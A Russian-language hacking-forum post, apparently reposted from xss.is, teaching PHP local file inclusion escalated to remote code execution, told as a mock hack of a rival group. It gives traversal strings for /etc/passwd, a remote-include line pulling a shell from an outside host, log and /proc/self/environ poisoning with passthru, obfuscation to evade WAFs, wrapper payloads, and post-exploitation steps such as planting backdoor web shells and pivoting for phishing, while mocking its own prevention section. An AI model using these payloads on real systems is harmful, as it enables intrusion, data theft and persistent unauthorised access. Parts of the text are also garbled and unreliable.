D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Авторство: hackeryaroslav
Источник: xss.is
Время чтения:Динамичный темп: 13.2 минут.
Нормальный темп: 13.7 минут.
Комфортный темп: 14.2 минут.
даже не спрашивайте откуда я это взял
Интро:
Веб-приложения предназначены для предоставления системно-независимого интерфейса к динамически генерируемому контенту любому пользователю с веб-браузером. Наблюдается увеличение важности и распространение веб-приложений в последние годы, сопровождающееся ростом уязвимостей в их безопасности. Эта статья обсуждает методы, такие как LFI (локальное включение файлов) и RCE (удаленное выполнение кода), которые могут привести к серьезным проблемам безопасности. Сегодня мы разберем крупный инцидент взлома и как наша команда поймала на ошибке главу крупнейшей группировки мира darkboys666
I. Введение
Локальное включение файла (LFI) представляет собой уязвимость в некоторых веб-приложениях, когда разработчик не фильтрует входные данные от пользователей, что может привести к чтению "внутренних" файлов на сервере-жертве. В статье рассматриваются последствия использования LFI, включая раскрытие конфиденциальной информации сервера.

Удаленное выполнение кода (RCE) – это возможность злоумышленника выполнять команды на сервере. RCE обсуждается как техника атаки, позволяющая внедрить PHP-скрипты на целевой сайт, что может привести к нарушению контроля доступа к системе.

Для тех кто в танке что мы будем сейчас делать:
Давайте представим, что у Маши и Саши, клиентов нашей команды, есть виртуальный чат, где они обсуждают свои секреты. Файл с их секретами на сервере называется etc/passwd, но это не понравилось лидеру одной из самых опасных группировок мира с никнеймом darkboy666 и он хочет получить доступ к файлу /etc/passwd, который содержит чувствительную информацию о пользователях сервера. Но мы его пресекли и сейчас достанем шелл из его сайта.

II. Обзор
Как и в случае многих уязвимостей веб-приложений, проблема LFI и RCE связана с недостаточной проверкой пользовательского ввода. В ходе разработки программного обеспечения необходимо учитывать безопасность, особенно при работе с внутренними или внешними ресурсами. LFI может привести к различным угрозам, таким как утечка конфиденциальной информации, выполнение кода и отказ в обслуживании.
Статья подчеркивает важность сканирования пользовательского ввода и предлагает рекомендации по устранению уязвимостей, связанных с LFI и RCE. Учитывая увеличение числа веб-приложений, обеспечение их безопасности становится критически важным аспектом в области веб-разработки.
III. Внедрение и исследования
- Включение локальных файлов
PHP: Скопировать в буфер обмена
Код:
<?php
$file = $_GET["file"];
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
Легко обнаружить и использовать уязвимости LFI. Любой скрипт, включающий файл с веб-сервера, может быть подвергнут тестированию на LFI. Например:
Код с оформлением (BB-коды): Скопировать в буфер обмена
/script.php?page=.../.../.../.../.../.../.../etc/passwd
В различных LFI атаках используются различные PHP реперы, такие как php?page=expect://ls, /fi/?page=php://input&cmd=ls, и другие.
- Удаленное выполнение кода
PHP: Скопировать в буфер обмена
Код:
<?php
$file = $_GET['page'];
include($file .".php");
?>
Злоумышленник может успешно использовать эту технику, внедряя произвольные команды на веб-сервер жертвы. Недостаточная проверка содержимого переменной $page дает возможность легко внедрить PHP Shell на веб-страницу:
http://darkboys666/index.php?page=https://xss.is/12.php?
Нажмите, чтобы раскрыть...
Метод "Удаленное выполнение кода (RCE)" может также использоваться для загрузки неограниченных или оболочечных файлов в функции загрузки, если отсутствует проверка безопасности формата файла. LFI-уязвимости могут быть применены для выполнения команды, внедрив вредоносный код в Apache журнал, окружение процесса и другие файлы.
- LFI до RCE
При использовании команд LFI для чтения файлов, таких как /etc/passwd, /etc/shadow и др., злоумышленник стремится создать вредоносный HTTP-запрос в журналах Apache. Процесс выглядит следующим образом:
Код: Скопировать в буфер обмена
Код:
telnet www.darkboys666.com 80
GET /index.php?p=hackpentagon.php HTTP/1.1
Для выполнения произвольных команд на целевой системе необходимо внедрить PHP-код через HTTP-запрос:
PHP: Скопировать в буфер обмена
Код:
telnet www.darkboys666.com 80
GET /cwh/<?passthru($_GET[cmd])?> HTTP/1.1
Затем используется уязвимость LFI для выполнения произвольных команд, определяя местоположение журналов, например:
Код: Скопировать в буфер обмена
www.darkboys666.com/index.php?p=../../apache/logs/access.log
После внедрения кода в файлы журналов, злоумышленник может выполнять произвольные команды с переменной "cmd":
Код: Скопировать в буфер обмена
www.darkboys666.com/hackpentagon.php?p=../../apache/logs/access.log%00&cmd=ls -la
2. Через Process Environ (User-Agent):
При запросе PHP-страницы создается новый процесс, и каждый процесс имеет свою собственную запись в /proc. Для использования User-Agent с вредоносным кодом можно внедрить:
PHP: Скопировать в буфер обмена
<?passthru($_GET[cmd])?>
Когда этот код внедрен в UserAgent, /proc/self/environ содержит вредоносный код:
PHP: Скопировать в буфер обмена
Код:
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
SERVER_ADMIN=root@darkboys666.com
<?passthru($_GET[cmd])?>
HTTP_KEEP_ALIVE=300
Затем можно выполнить команду, указав местоположение /proc/self/environ и переменную "cmd":
PHP: Скопировать в буфер обмена
www.darkboys666.com/index.php?p=../../../../../proc/self/environ%00&cmd=ls -la
Продвинутая атака:
Внедрение вредоносного кода через защитные механизмы
Веб-приложения часто защищены различными средствами: файерволами, IPS/IDS, WAF и т.д. Чтобы обойти защиту и внедрить вредоносный код, атакующие прибегают к разным уловкам.
Популярный прием - обфускация, когда исходный PHP-код маскируется различными способами. Например:
- Кодирование строк: hex-кодирование символов, перекодировка в base64 и т.д. Затрудняет обнаружение IPS сигнатур.
- Использование альтернативных расширений PHP вроде .phtml, .php3, .php5. Позволяет обойти ограничения на исполнение PHP в некоторых конфигурациях.
- Разделение оператора через тернарный : или конкатенацию . - затрудняет поиск оригинального кода.
- Вызов UDF (user-defined functions) через CREATE FUNCTION или импорт внешних библиотек.
$a='b'.'a'.'s'.'e'.'6'.'4'.'d'.'e'.'c'.'o';$b='d'.'e';$c='e';$d=str_replace('__','',${$a.$b.$c}("cmd"));
Это сильно затруднит обнаружение и IPS или WAF.
Использование функциональности PHP
Еще один эффективный подход - использовать wrapped-функции PHP, которые могут применять фильтры или обращаться к сторонним ресурсам. Классические примеры:
- php://filter - позволяет зашифровать/расшифровать данные на лету:
?file=php://filter/read=convert.base64-encode/resource=config.php
- zip:// - обращается к файлам в ZIP архиве на сервере:
?file=zip://uploads/archive.zip%23malicious.php
- phar:// - исполняет код из PHP-архивов (.phar):
?file=phar://uploads/shell.jpg/test.txt
- data:// - может выполнять код, заданный в base64 строке параметра:
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
Также злоумышленники прибегают к нескольким wrapped-функций:
PHP: Скопировать в буфер обмена
file() -> php://filter -> zlib:// -> data:// -> base64_code
Это позволяет скрыть истинный вектор атаки от IPS или WAF.
Учитывая богатый функционал PHP, атакующие имеют множество опций для обхода защиты и эксплуатации LFI/RFI уязвимостей.
А можно сразу найти эти уязвимости, чтоб тык, тык и готово? Какие советы можешь дать?
Автоматизированный поиск уязвимостей
Эффективным подходом к обнаружению потенциальных уязвимостей LFI и RCE является автоматизированный поиск (fuzzing) уязвимых параметров веб-приложения.
Существует множество инструментов для этих целей, среди которых можно выделить:
- OWASP ZAP - популярный сканер уязвимостей с открытым исходным кодом, обладающий встроенными фаззерами
- Wfuzz - утилита командной строки, позволяющая задавать словари для тестирования различных параметров
- Burp Suite - платформа для тестирования веб-приложений, включающая функционал интеллектуального сканирования уязвимостей
Например, классический вариант - подбор путей к локальным файлам и ресурсам: ../../etc/passwd, locales\config.php и т.д.
Также проверяется возможность инъекции произвольных команд, обращения к удаленным сайтам и другие опасные варианты, которые могут указывать на LFI или RFI уязвимости.
Тестирование обнаруженных уязвимостей
Как только сканирование выявляет подозрительный запрос, требуется дополнительная проверка - возможно ложное срабатывание. Для подтверждения уязвимости используют такие методы:
- Подбор актуальных путей к критичным файлам (например, /etc/passwd), локальным скриптам и их параметрам. Анализ полученных данных или ошибок.
- Попытка выполнения команд и анализ ответов сервера: проверки наличия нужных расширений, обращение к временным файлам, обход ограничений и т.д.
- Исследование возможности вызова удаленных сайтов через wrappers, включение шаблонов и другие техники внедрения кода.
- При обнаружении действительной уязвимости также важно определить ее диапазон воздействия, затрагиваемые компоненты приложения и другие детали для последующей эксплуатации.
Прежде, чем приступить непосредственно к атаке на приложение, требуется собрать необходимые данные об инфраструктуре цели:
- Версия PHP сборки и используемых модулей. Влияет на выбор методов эксплуатации.
- Наличие нужных расширений и функций, доступное пространство имен. Проверяется путем вызова соответствующих функций в инъекции.
- Возможные ограничения со стороны файервола, IPS или конфигурации самого PHP.
- Список установленного ПО, доступное для компрометации. Выявляется при тестировании LFI к различным конфигурационным файлам.
Выбор метода RCE внедрения
Конечным этапом обычно является попытка внедрения и выполнения произвольного кода на сервере жертвы.
В зависимости от особенностей целевой инфраструктуры могут использоваться различные варианты атаки:
- Если есть доступ на запись к удаленным логам или промежуточным файлам - классический вариант с внедрением через них.
- При наличии уязвимого интерпретатора - попытка подключения PHP шелла из внешнего источника.
- Вызов функций для выполнения кода из строки base64, закодированной нагрузки и т.п.
- Использование Wrappers для запуска кода из внедренных файлов ZIP/RAR архивов на сервере.
- Вызов UDF или загруженных вредоносных расширений, обход ограничений disable_functions и т.д.
Продолжаем атаку:
Итак, мы получили доступ к серверу darkboys666 через уязвимость LFI или RCE. Вот что можно было бы сделать дальше:
- Попытаться повысить привилегии до root с помощью exploit'ов. Например, проверить наличие уязвимых версий sudo, cron и т.д.
- Скомпрометировать веб-приложения, работающие на сервере. Например, если там установлен WordPress, можно попробовать получить доступ к админке.
- Исследовать файловую систему в поисках полезной информации - паролей, данных пользователей, исходников скриптов и т.д. (весь приватный софт группировки будет слит!)
- Установить backdoor для сохранения доступа. Например, веб-шелл в publicly доступной директории. Посмотрим, чем они там занимаются
- Сканировать локальную сеть на предмет других уязвимых серверов, до которых можно добраться из скомпрометированной системы. Выходим на лидера.
- Использовать захваченный сервер в качестве плацдарма для дальнейших атак, например фишинга.
VI. Предотвращение
- Установка последних исправлений производителя для уязвимого программного обеспечения.
- Сбор, анализ и использование актуальной информации о угрозах.
- Автоматизация процесса установки патчей для рабочих станций и серверов.
- Рассмотрение внедрения chroot-тюрьмы.
- Проверка файлов и имен файлов, предоставляемых пользователями.
- Тщательная проверка входных данных и инициализация переменных.
- Отключение опций allow_url_fopen и allow_url_include.
- Отключение register_globals и использование E_STRICT для поиска неинициализированных переменных.
- Тщательная проверка функций работы с файлами и потоками (stream_*).
- Точное указание местоположения файлов, чтобы избежать инъекций удаленных файлов.
- Но кому это нужно, если мы уже взломали сайт darkboys666?
После изучения вопроса включения локальных файлов для удаленного выполнения становится ясно, как можно выполнить удаленные файлы в системе, получив несанкционированный доступ. Из-за недостатков в конфигурации системы, даже с помощью простого выполнения PHP-кода LFI в RCE может быть легко осуществлено. Для предотвращения подобных киберугроз важно в реальном времени анализировать примеры веб-сайтов и реагировать на них. Кроме darkboys666.